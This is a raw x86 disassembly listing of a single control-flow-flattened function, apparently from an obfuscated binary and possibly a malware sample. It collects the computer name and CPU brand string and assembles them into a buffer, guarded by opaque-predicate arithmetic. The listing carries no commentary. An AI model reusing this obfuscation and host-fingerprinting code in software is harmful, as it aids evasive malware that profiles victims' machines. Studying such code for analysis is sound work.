mov dword [esi + 0x11c], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x68], eax
mov dword [esi + 4], 0xbdd9fdec
jmp 0x43cd9c
cmp eax, 0x7e1918f9
jg 0x43f47b
cmp eax, 0x7b77bc8f
je 0x4400f6
cmp eax, 0x7e0ab08c
jne 0x43cd9c
mov eax, dword [esi + 0x14]
add eax, 0x28
mov dword [esi + 0x1c8], eax
mov dword [esi + 4], 0xb37af821
jmp 0x43cd9c
cmp eax, 0x84e89f41
jle 0x43f515
cmp eax, 0x84e89f42
je 0x440124
cmp eax, 0x85bf4554
jne 0x43cd9c
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x1d0]
mov dword [esi + 0x1d4], eax
mov dword [esi + 4], 0x3d4662e1
jmp 0x43cd9c
cmp eax, 0xf95480d7
je 0x44018a
cmp eax, 0xfb2a3d08
je 0x4401db
cmp eax, 0xfc82ddc8
jne 0x43cd9c
mov eax, dword [esi + 8]
shl eax, 0xf
add eax, 0x5f8000
shr eax, 0xe
mov dword [esi + 8], eax
call fcn.00407817
mov dword [esi + 4], 0xe532cf3d
jmp 0x43cd9c
cmp eax, 0xb8442e44
je 0x4401f4
cmp eax, 0xb9650f70
je 0x44020f
cmp eax, 0xbaeb7a37
jne 0x43cd9c
imul ecx, dword [esi + 8], 0x680
add ecx, 0xffffff88
mov dword [esi + 8], ecx
mov eax, 0x8ba168fd
cmp ecx, 0x16
jb 0x43e44e
mov eax, 0xe9975444
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x469974e6
je 0x4402a0
cmp eax, 0x485de71b
je 0x4402ac
cmp eax, 0x48f18c92
jne 0x43cd9c
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x28]
mov dword [esi + 0x18], 0x100
mov dword [esi + 4], 0x82edeb32
jmp 0x43cd9c
cmp eax, 0x9e9f1ead
je 0x4402da
cmp eax, 0x9ef395ad
jne 0x43cd9c
mov eax, dword [esi + 0x120]
mov word [eax], 0
push 0x14
push 0x471ec0
push dword [esi + 0x68]
call fcn.0044a890
add esp, 0xc
push 5
push 0x471ed4
push 0xa
push dword [esi + 0x68]
call fcn.00440ce0
add esp, 0x10
push dword [esi + 0x68]
push 0x3d95e230
call fcn.00445344
add esp, 8
xor edi, edi
inc edi
push edi
call eax
mov dword [esi + 0x124], eax
push edi
push 0x20
call fcn.0045a6a3
add esp, 8
mov dword [esi + 0xe8], eax
mov dword [esi + 4], 0xf8e559fe
jmp 0x43cd9c
cmp eax, 0x29a52922
je 0x4402f2
cmp eax, 0x2d26e45e
jne 0x43cd9c
mov eax, dword [esi + 0xe4]
mov word [eax + 0x14], 0
push 0x14
push 0x471fa0
push dword [esi + 0xe4]
call fcn.0044a890
add esp, 0xc
push 4
push str._v
push 0xa
push dword [esi + 0xe4]
call fcn.00440ce0
add esp, 0x10
push 0x16
push dword [esi + 0xe4]
push dword [esi + 0x60]
call fcn.0044a890
add esp, 0xc
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
push eax
push dword [esi + 0x10]
push dword [esi + 0x60]
push dword [ebp + 8]
call fcn.0042466c
add esp, 0x10
mov eax, dword [esi + 0x60]
mov eax, dword [esi + 0x5c]
mov dword [esi + 4], 0x3f185db8
jmp 0x43cd9c
cmp eax, 0xd4b78af1
je 0x440326
cmp eax, 0xd4b796f7
jne 0x43cd9c
mov eax, dword [esi + 0xc]
shr eax, 1
add eax, 0xe1
mov dword [esi + 0xc], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x52ed
dec edx
mov eax, 0x6f47770e
cmp ecx, edx
je 0x43e5ee
mov eax, 0x3fa03bfc
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x60edd945
je 0x440346
cmp eax, 0x61ea1718
jne 0x43cd9c
mov ecx, dword [esi + 8]
shl ecx, 0xb
add ecx, 0x5b8bc
mov dword [esi + 8], ecx
mov eax, 0xfc82ddc8
cmp ecx, 0xb
jge 0x43e62a
mov eax, 0xe9f6d0e6
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x8ca2d796
je 0x44039e
cmp eax, 0x8ce88bb7
jne 0x43cd9c
imul ebx, dword [esi + 8], 0x36f100
add ebx, 0xff243c00
mov dword [esi + 8], ebx
push 0x29e3
push 0x5d3
push ebx
push 0x28b1
call fcn.00440e20
add esp, 0x10
call fcn.00407817
mov eax, 0x29a52922
cmp ebx, 0x8b
jl 0x43e687
mov eax, 0xa0be244
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0xdd1c1f7
je 0x4403b1
cmp eax, 0xef1c28c
jne 0x43cd9c
mov ecx, dword [esi + 0xc]
add ecx, 7
mov eax, ecx
imul eax, ecx
imul edx, eax, 0x60b9
shl ecx, 6
and ecx, 0x7fffffc0
dec edx
imul ecx, ecx, 0xaf
mov dword [esi + 0xc], ecx
mov ecx, 0xed0da876
cmp eax, edx
je 0x43e6d7
mov ecx, 0x7e0ab08c
mov dword [esi + 4], ecx
jmp 0x43cd9c
cmp eax, 0xc5f299bf
je 0x4403d8
cmp eax, 0xc5fa051d
jne 0x43cd9c
mov dword [esi + 0x18], 0x100
lea eax, [esi + 0x18]
push eax
lea eax, [esi + 0x1f8]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov dword [esi + 4], 0x4dece08a
jmp 0x43cd9c
cmp eax, 0x528e5eee
je 0x440403
cmp eax, 0x52c0094f
jne 0x43cd9c
mov eax, dword [esi + 0xc]
shl eax, 0xd
add eax, 0xffffff50
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x8ba168fd
jmp 0x43cd9c
cmp eax, 0xab2fa7c8
je 0x440435
cmp eax, 0xabf6196f
jne 0x43cd9c
mov eax, dword [esi + 8]
shl eax, 3
and eax, 0x1fffff8
mov ecx, eax
shl ecx, 6
sub ecx, eax
add ecx, 0xfffffec2
mov dword [esi + 8], ecx
mov eax, 0x3c2d1d02
cmp ecx, 0xde
jb 0x43e78e
mov eax, 0xd62d79db
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x37d8f3f6
je 0x440465
cmp eax, 0x38d6897c
jne 0x43cd9c
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1b8]
mov dword [eax + 0x20], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1bc]
mov dword [eax + 0x24], ecx
mov dword [esi + 4], 0xef1c28c
jmp 0x43cd9c
cmp eax, 0xed86323f
je 0x440471
cmp eax, 0xedc0f362
jne 0x43cd9c
mov eax, dword [esi + 8]
shl eax, 0x1c
xor eax, 0xffaf0000
shr eax, 7
mov dword [esi + 8], eax
mov dword [esi + 4], 0xb10facfd
jmp 0x43cd9c
cmp eax, 0x7362c2eb
je 0x44048c
cmp eax, 0x7399185f
jne 0x43cd9c
imul eax, dword [esi + 0xc], 0x6a
shr eax, 8
add eax, 0xffffff8f
imul ecx, eax, 0xad
imul eax, eax
imul edx, eax, 0x16a9
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x1347eb9c
cmp edx, eax
je 0x43e844
mov ecx, 0x79dcd6a1
mov dword [esi + 4], ecx
jmp 0x43cd9c
cmp eax, 0x876f42a3
je 0x4404e2
cmp eax, 0x87946877
jne 0x43cd9c
mov dword [esi + 4], 0x79ae4a35
jmp 0x43cd9c
cmp eax, 0x5ca5926
je 0x4404fa
cmp eax, 0x8a26991
jne 0x43cd9c
imul eax, dword [esi + 0xc], 0x9d000
or eax, 0x78
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x2d26e45e
jmp 0x43cd9c
cmp eax, 0xc21f4a11
je 0x440506
cmp eax, 0xc291bead
jne 0x43cd9c
xor edi, edi
mov dword [esi + 8], edi
push edi
call fcn.0043cd84
add esp, 4
push edi
push 0x628b
push 0x55f0
call fcn.0042a59a
add esp, 0xc
mov dword [esi + 4], 0xc443767f
jmp 0x43cd9c
cmp eax, 0x4dece08a
je 0x440533
cmp eax, 0x4fa8551d
jne 0x43cd9c
push 6
push 0x471ef8
push 0xc
push dword [esi + 0x7c]
call fcn.00440ce0
add esp, 0x10
mov dword [esi + 4], 0x7b77bc8f
jmp 0x43cd9c
cmp eax, 0xa3760a82
je 0x4405b3
cmp eax, 0xa4ce8544
jne 0x43cd9c
mov ecx, dword [esi + 8]
mov eax, 0xfffffe94
add ecx, eax
mov dword [esi + 8], ecx
mov eax, 0xea42df83
cmp ecx, 0xc7
jae 0x43e94b
mov eax, 0x3b28e3c1
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x32ae1d7d
je 0x4405e4
cmp eax, 0x34436423
jne 0x43cd9c
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x138]
mov dword [esi + 0x13c], eax
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x74], eax
mov eax, dword [esi + 0x74]
mov byte [eax + 0xf], 0
push 0xf
push 0x47e48f
push dword [esi + 0x74]
call fcn.0044a890
add esp, 0xc
mov dword [esi + 4], 0xf4593bdd
jmp 0x43cd9c
cmp eax, 0xe532cf3d
je 0x440620
cmp eax, 0xe544d742
jne 0x43cd9c
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x34], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x38], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x3c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x1c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x40], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x44], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x48], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x4c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x50], eax
sub esp, 0x1a8
mov eax, esp
mov dword [esi + 0x20], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x54], eax
mov dword [esi + 4], 0x1347eb9c
jmp 0x43cd9c
cmp eax, 0x6bbfb69a
je 0x44066d
cmp eax, 0x6c07dc46
jne 0x43cd9c
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
mov dword [esi + 0x138], eax
mov dword [esi + 4], 0x367e9265
jmp 0x43cd9c
cmp eax, 0x968383c5
je 0x44068b
cmp eax, 0x9c866ef3
jne 0x43cd9c
mov eax, dword [esi + 8]
shr eax, 0xa
and eax, 0xfffffff8
lea eax, [eax + eax*8]
lea eax, [eax*8 + 0x3210]
mov dword [esi + 8], eax
push 0x1951
push 0x4a5c
push eax
push 0x24bd
call fcn.00440e20
add esp, 0x10
mov dword [esi + 4], 0xe544d742
jmp 0x43cd9c
cmp eax, 0x1d4db8fc
je 0x4406a6
cmp eax, 0x1f096957
jne 0x43cd9c
mov dword [esi + 4], 0x23139ff4
jmp 0x43cd9c
cmp eax, 0xcc9eb19b
je 0x4406d6
cmp eax, 0xcd598f4c
jne 0x43cd9c
mov ecx, dword [esi + 8]
shl ecx, 0xd
add ecx, 0x134013
mov dword [esi + 8], ecx
mov eax, 0xd4b78af1
cmp ecx, 0x52
jge 0x43eb00
mov eax, 0x48f18c92
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x5a9da1ac
je 0x4406f1
cmp eax, 0x5b668583
jne 0x43cd9c
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x28], eax
mov dword [esi + 4], 0xd4b78af1
jmp 0x43cd9c
cmp eax, 0xb274466f
je 0x440708
cmp eax, 0xb37af821
jne 0x43cd9c
mov eax, dword [esi + 0x1c0]
mov ecx, dword [esi + 0x1c8]
mov dword [ecx], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1c4]
mov dword [eax + 0x2c], ecx
mov dword [esi + 4], 0xa6d1d8ea
jmp 0x43cd9c
cmp eax, 0x3ed8f8cf
je 0x440729
cmp eax, 0x3f185db8
jne 0x43cd9c
mov eax, dword [esi + 0x58]
mov eax, dword [esi + 0x24]
mov dword [esi + 4], 0x4dcbe325
jmp 0x43cd9c
cmp eax, 0xf3d87e13
je 0x44076e
cmp eax, 0xf4563577
jne 0x43cd9c
mov ebx, dword [esi + 8]
shl ebx, 4
add ebx, 0xffffffcc
mov dword [esi + 8], ebx
push 0x15e3
push 0x3df0
push ebx
push 0x6ac
call fcn.00440ce0
add esp, 0x10
mov eax, 0xb10facfd
cmp ebx, 0xe6
jl 0x43ebe6
mov eax, 0x679d3030
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x79c5bcd5
je 0x44077d
cmp eax, 0x79dcd6a1
jne 0x43cd9c
mov eax, dword [esi + 0x12c]
mov byte [eax], 0
mov edi, 0xf
push edi
push 0x47e46c
push dword [esi + 0x6c]
call fcn.0044a890
add esp, 0xc
push 5
push 0x47e47b
push edi
push dword [esi + 0x6c]
call fcn.00440e20
add esp, 0x10
mov eax, dword [esi + 0x128]
mov ecx, dword [esi + 0x6c]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
mov dword [esi + 0x130], eax
mov dword [esi + 4], 0xdc89495d
jmp 0x43cd9c
cmp eax, 0x82edeb32
je 0x440789
cmp eax, 0x82f9eba8
jne 0x43cd9c
mov eax, dword [esi + 0x94]
add eax, 0x17
mov dword [esi + 0x158], eax
mov dword [esi + 4], 0x5fa840b6
jmp 0x43cd9c
cmp eax, 0x2231c25
je 0x440795
cmp eax, 0x231b4d6
jne 0x43cd9c
mov dword [esi + 4], 0xc5fa051d
jmp 0x43cd9c
cmp eax, 0xbf3ab78d
je 0x4407b0
cmp eax, 0xc0a7ca6d
jne 0x43cd9c
mov eax, dword [esi + 0x198]
mov ecx, dword [esi + 0x1a0]
mov dword [ecx], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x19c]
mov dword [eax + 0xc], ecx
mov eax, 0x80000003
xor ecx, ecx
cpuid
mov dword [esi + 0xb8], eax
mov dword [esi + 0xbc], ebx
mov dword [esi + 0xc0], ecx
mov dword [esi + 0xc4], edx
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xb8]
mov dword [esi + 0x1a4], eax
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xbc]
mov dword [esi + 0x1a8], eax
mov dword [esi + 4], 0xcc9eb19b
jmp 0x43cd9c
cmp eax, 0x4b427871
je 0x4407d7
cmp eax, 0x4b79651c
jne 0x43cd9c
mov eax, dword [esi + 0x7c]
mov word [eax + 0x18], 0
push 0x18
push 0x471ee0
push dword [esi + 0x7c]
call fcn.0044a890
add esp, 0xc
mov dword [esi + 4], 0x4fa8551d
jmp 0x43cd9c
cmp eax, 0xa140a1ab
je 0x4407fa
cmp eax, 0xa188b9d6
jne 0x43cd9c
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
push 1
push 0x41
call fcn.0045a6a3
add esp, 8
mov dword [esi + 0x14], eax
mov dword [esi + 4], 0xc2e940b7
jmp 0x43cd9c
cmp eax, 0x2fbbcc4a
je 0x440835
cmp eax, 0x2fc64b54
jne 0x43cd9c
mov eax, dword [esi + 0xc]
shr eax, 0xd
imul eax, eax, 0xe2
shr eax, 9
add eax, 0xc9
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xcb2d4c25
jmp 0x43cd9c
cmp eax, 0xdc89495d
je 0x440887
cmp eax, 0xde61a78c
jne 0x43cd9c
mov eax, dword [esi + 8]
mov ecx, 0x83
add eax, ecx
shr eax, 5
and eax, 0xffffffe0
imul edi, eax, 0x4d34
mov dword [esi + 8], edi
call fcn.00407817
call fcn.00407817
mov eax, 0x9ef395ad
cmp edi, 0x57
jl 0x43ee61
mov eax, 0x865d8d32
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x66177548
je 0x4408b2
cmp eax, 0x679d3030
jne 0x43cd9c
mov eax, dword [esi + 8]
shl eax, 0xb
add eax, 0x86800
and eax, 0x3ffff000
shl eax, 2
lea ecx, [eax + eax*2]
mov dword [esi + 8], ecx
mov eax, 0x4fa8551d
cmp ecx, 0xae
jge 0x43eeaa
mov eax, 0xf95480d7
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x909d14cd
je 0x4408db
cmp eax, 0x91b2dfcd
jne 0x43cd9c
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 4
add eax, 0xffffff65
mov dword [esi + 8], eax
mov eax, 0x15d9955a
cmp ecx, 0xa30
jae 0x43eeea
mov eax, 0xc5f299bf
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x16690ac7
je 0x4408f3
cmp eax, 0x16fc7477
jne 0x43cd9c
mov ecx, dword [esi + 8]
shl ecx, 6
add ecx, 0x93
mov dword [esi + 8], ecx
mov eax, 0xe9f6d0e6
cmp ecx, 0x9a
jl 0x43ef29
mov eax, 0x8ba168fd
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0xc8d4dac3
je 0x44093e
cmp eax, 0xc99362eb
jne 0x43cd9c
mov eax, dword [esi + 0x98]
mov cl, byte [0x47e548]
mov byte [eax + 0xc], cl
mov ecx, dword [0x47e544]
mov dword [eax + 8], ecx
mov ecx, dword [0x47e540]
mov dword [eax + 4], ecx
mov ecx, dword [0x47e53c]
mov dword [eax], ecx
mov dword [esi + 4], 0x89c20c5a
jmp 0x43cd9c
cmp eax, 0x577d64e4
je 0x44094d
cmp eax, 0x578adb76
jne 0x43cd9c
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
mov dword [esi + 0x14c], eax
mov dword [esi + 4], 0xb6e7b0da
jmp 0x43cd9c
cmp eax, 0xaf47789a
je 0x440967
cmp eax, 0xb0e1b55f
jne 0x43cd9c
mov eax, dword [esi + 0x50]
mov dword [esi + 4], 0xc5c8d49
jmp 0x43cd9c
cmp eax, 0x3b28e3c1
je 0x440994
cmp eax, 0x3c1ff867
jne 0x43cd9c
mov eax, dword [esi + 0xc]
add eax, 0xfffffff4
imul ecx, eax, 0x9efc
imul eax, eax
imul edx, eax, 0x17c7
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x578adb76
cmp edx, eax
je 0x43f011
mov ecx, 0xc2fe1158
mov dword [esi + 4], ecx
jmp 0x43cd9c
cmp eax, 0xf1504ec3
je 0x4409c3
cmp eax, 0xf2c135a5
jne 0x43cd9c
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x88], eax
mov dword [esi + 4], 0x1fa40e09
jmp 0x43cd9c
cmp eax, 0x74fd6f1f
je 0x4409f8
cmp eax, 0x77dd275b
jne 0x43cd9c
mov eax, dword [esi + 0xc]
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
imul ecx, ecx
imul edx, ecx, 0x4217
dec edx
imul eax, eax, 0x12750000
mov dword [esi + 0xc], eax
mov eax, 0xf2c135a5
cmp edx, ecx
je 0x43f087
mov eax, 0xb5738bbf
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x8a146f18
je 0x440a48
cmp eax, 0x8a159cd1
jne 0x43cd9c
imul eax, dword [esi + 0xc], 0x62000
add eax, 0xfffffff7
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xe1c66a6c
jmp 0x43cd9c
cmp eax, 0xb296c61
je 0x440a78
cmp eax, 0xc5c8d49
jne 0x43cd9c
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xd8], eax
mov eax, dword [esi + 0xd8]
mov byte [eax + 0xc], 0
mov eax, dword [esi + 0xd8]
mov ecx, dword [0x47e5b6]
mov dword [eax + 8], ecx
mov ecx, dword [0x47e5b2]
mov dword [eax + 4], ecx
mov ecx, dword [0x47e5ae]
mov dword [eax], ecx
push 7
push 0x47e5ba
push 0xc
push dword [esi + 0xd8]
call fcn.00440e20
add esp, 0x10
mov dword [esi + 4], 0x8c6092d4
jmp 0x43cd9c
cmp eax, 0xc443767f
je 0x440ab1
cmp eax, 0xc4aa367c
jne 0x43cd9c
mov dword [esi + 0x118], 0x8000
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x7c], eax
mov dword [esi + 4], 0x34a85f49
jmp 0x43cd9c
cmp eax, 0x5101437e
je 0x440ace
cmp eax, 0x519910a8
jne 0x43cd9c
mov ebx, dword [esi + 8]
mov eax, 0xffffff5e
add ebx, eax
mov eax, ebx
shr eax, 8
add eax, 0xcf
mov dword [esi + 8], eax
push 0x5911
push eax
push 0x5dfc
push 0x3f89
call fcn.00440ce0
add esp, 0x10
mov eax, 0x181b1a3b
cmp ebx, 0x1b00
jae 0x43f1b9
mov eax, 0x4b79651c
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0xa7055612
je 0x440af0
cmp eax, 0xa7071fc1
jne 0x43cd9c
mov eax, dword [esi + 0xe0]
mov byte [eax + 0x1d], 0
push 0x1d
push 0x47e5d0
push dword [esi + 0xe0]
call fcn.0044a890
add esp, 0xc
mov dword [esi + 4], 0x5d54c426
jmp 0x43cd9c
cmp eax, 0x359e8812
je 0x440afc
cmp eax, 0x367e9265
jne 0x43cd9c
mov ecx, dword [esi + 0xc]
lea eax, [ecx + 0x32]
imul eax, eax
imul edx, eax, 0x61cb
dec edx
imul ecx, ecx, 0x4c
add ecx, 0xffffeff8
mov dword [esi + 0xc], ecx
mov ecx, 0xf8e559fe
cmp eax, edx
je 0x43f242
mov ecx, 0x34436423
mov dword [esi + 4], ecx
jmp 0x43cd9c
cmp eax, 0xe9f6d0e6
je 0x440b23
cmp eax, 0xea42df83
jne 0x43cd9c
mov eax, dword [esi + 8]
mov ecx, 0x97
add eax, ecx
shr eax, 0xa
lea edi, [eax*4 - 0x3f0]
mov dword [esi + 8], edi
push edi
push 0x3cf5
push 0x4ef5
call fcn.0042a59a
add esp, 0xc
mov eax, 0x1347eb9c
cmp edi, 0x7a
jb 0x43f299
mov eax, 0x5b668583
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x6f47770e
je 0x440b3b
cmp eax, 0x6fa8cbcf
jne 0x43cd9c
mov eax, dword [esi + 0x4c]
mov eax, dword [esi + 0x48]
mov eax, dword [esi + 0x44]
mov dword [esi + 4], 0x683bff05
jmp 0x43cd9c
cmp eax, 0x9d967b79
je 0x440b70
cmp eax, 0x9e2fa6d3
jne 0x43cd9c
mov eax, dword [esi + 0xc]
shl eax, 0xf
add eax, 0xfff97ea1
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xc5870a4e
jmp 0x43cd9c
cmp eax, 0x24125407
je 0x440b95
cmp eax, 0x25465d1b
jne 0x43cd9c
mov ecx, dword [esi + 8]
mov eax, 0xb1
add ecx, eax
mov dword [esi + 8], ecx
mov eax, 0xcd598f4c
cmp ecx, 0xf7
je 0x43f331
mov eax, 0x9e79e561
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0xd0460e08
je 0x440bb8
cmp eax, 0xd2959f27
jne 0x43cd9c
mov eax, dword [esi + 0x15c]
mov word [eax], 0xa
mov eax, dword [esi + 0x1c]
push dword [esi + 0x1c]
call fcn.00447b8c
add esp, 4
mov dword [esi + 0x160], eax
push 1
push 0x800
call fcn.0045a6a3
add esp, 8
mov dword [esi + 0xf8], eax
mov dword [esi + 4], 0x6023b85b
jmp 0x43cd9c
cmp eax, 0x5ead8a11
je 0x440bd3
cmp eax, 0x5f687d33
jne 0x43cd9c
mov ecx, dword [esi + 8]
shl ecx, 4
add ecx, 0xfffffeeb
mov dword [esi + 8], ecx
mov eax, 0x6bbfb69a
cmp ecx, 0xbd
jae 0x43f3c6
mov eax, 0x79dcd6a1
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0xb5c9ae72
je 0x440bf6
cmp eax, 0xb6e7b0da
jne 0x43cd9c
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x14c]
mov dword [esi + 0x150], eax
mov dword [esi + 4], 0x15d9955a
jmp 0x43cd9c
cmp eax, 0x435a0da4
je 0x440c17
cmp eax, 0x463a114b
jne 0x43cd9c
mov eax, dword [esi + 0xc]
add eax, 0xffffffea
shr eax, 0xf
imul ecx, eax, 0x3eb0
imul eax, eax
imul edx, eax, 0x4143
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x2d64ae0
cmp edx, eax
je 0x43f43f
mov ecx, 0x5286ace7
mov dword [esi + 4], ecx
jmp 0x43cd9c
cmp eax, 0xf5a6595a
je 0x440c80
cmp eax, 0xf8e559fe
jne 0x43cd9c
push 1
push 0x20
call fcn.0045a6a3
add esp, 8
mov dword [esi + 0xec], eax
mov dword [esi + 4], 0x87946877
jmp 0x43cd9c
cmp eax, 0x7e1918fa
je 0x440c98
cmp eax, 0x7e3d8bd7
jne 0x43cd9c
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xc8]
mov ecx, dword [esi + 0xcc]
mov dword [esi + 0x1b8], eax
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov dword [esi + 0x1bc], eax
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xd0]
mov dword [esi + 0x1c0], eax
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xd4]
mov dword [esi + 0x1c4], eax
mov dword [esi + 4], 0x9e4279cd
jmp 0x43cd9c
cmp eax, 0x840a5579
jne 0x440cb5
mov eax, dword [esi + 0xc]
shr eax, 2
and eax, 0x1fffff
add eax, 0xa
imul ecx, eax, 0x1320
imul eax, eax
imul edx, eax, 0x7215
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xd4b78af1
cmp edx, eax
je 0x43f54f
mov ecx, 0xb10facfd
mov dword [esi + 4], ecx
jmp 0x43cd9c
mov eax, dword [esi + 0xc]
shr eax, 0xe
imul ecx, eax, 0x302
imul eax, eax
imul edx, eax, 0xf07
dec edx
add ecx, 0xffffffc1
mov dword [esi + 0xc], ecx
mov ecx, 0xcb2d4c25
cmp eax, edx
je 0x43f581
mov ecx, 0xefb47bd9
mov dword [esi + 4], ecx
jmp 0x43cd9c
mov dword [esi + 4], 0xb274466f
jmp 0x43cd9c
mov eax, dword [esi + 0x68]
add eax, 0x14
mov dword [esi + 0x120], eax
mov dword [esi + 4], 0xe2605302
jmp 0x43cd9c
mov eax, dword [esi + 0xc]
add eax, eax
add eax, 0x4d00
and eax, 0xffffff00
add eax, 0xffffff8e
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x37538745
jmp 0x43cd9c
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x6c], eax
mov dword [esi + 4], 0x446e549
jmp 0x43cd9c
mov eax, dword [esi + 0x178]
mov byte [eax], 0
mov eax, dword [esi + 0xa0]
mov ecx, dword [0x47e568]
mov dword [eax + 4], ecx
mov ecx, dword [0x47e564]
mov dword [eax], ecx
mov eax, 8
push eax
push 0x47e56c
push eax
push dword [esi + 0xa0]
call fcn.00440e20
add esp, 0x10
mov dword [esi + 4], 0x8a159cd1
jmp 0x43cd9c
mov eax, dword [esi + 0x30]
mov dword [esi + 4], 0x37b3dab2
jmp 0x43cd9c
mov ebx, dword [esi + 8]
shl ebx, 0xd
add ebx, 0xfffffec5
mov dword [esi + 8], ebx
push 0x19fc
push 0x32fa
push ebx
call fcn.0042a59a
add esp, 0xc
push ebx
call fcn.0043cd84
add esp, 4
mov dword [esi + 4], 0x1557802
jmp 0x43cd9c
mov eax, dword [esi + 0x18c]
mov byte [eax], 0
mov eax, dword [esi + 0xa4]
mov ecx, dword [0x47e5a2]
mov dword [eax + 8], ecx
mov ecx, dword [0x47e59e]
mov dword [eax + 4], ecx
mov ecx, dword [0x47e59a]
mov dword [eax], ecx
push 8
push 0x47e5a6
push 0xc
push dword [esi + 0xa4]
call fcn.00440e20
add esp, 0x10
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0xa4]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x4c]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
mov dword [esi + 4], 0xea8c8821
jmp 0x43cd9c
mov eax, dword [esi + 0x158]
mov byte [eax], 0
mov edi, 0x17
push edi
push 0x47e520
push dword [esi + 0x94]
call fcn.0044a890
add esp, 0xc
push 5
push 0x47e537
push edi
push dword [esi + 0x94]
call fcn.00440e20
add esp, 0x10
push 0x18
push dword [esi + 0x94]
push dword [esi + 0x3c]
call fcn.0044a890
add esp, 0xc
push dword [esi + 0x3c]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0x38]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x15c], eax
mov dword [esi + 4], 0x39fbe18f
jmp 0x43cd9c
push dword [esi + 0x100]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
mov dword [esi + 4], 0x24125407
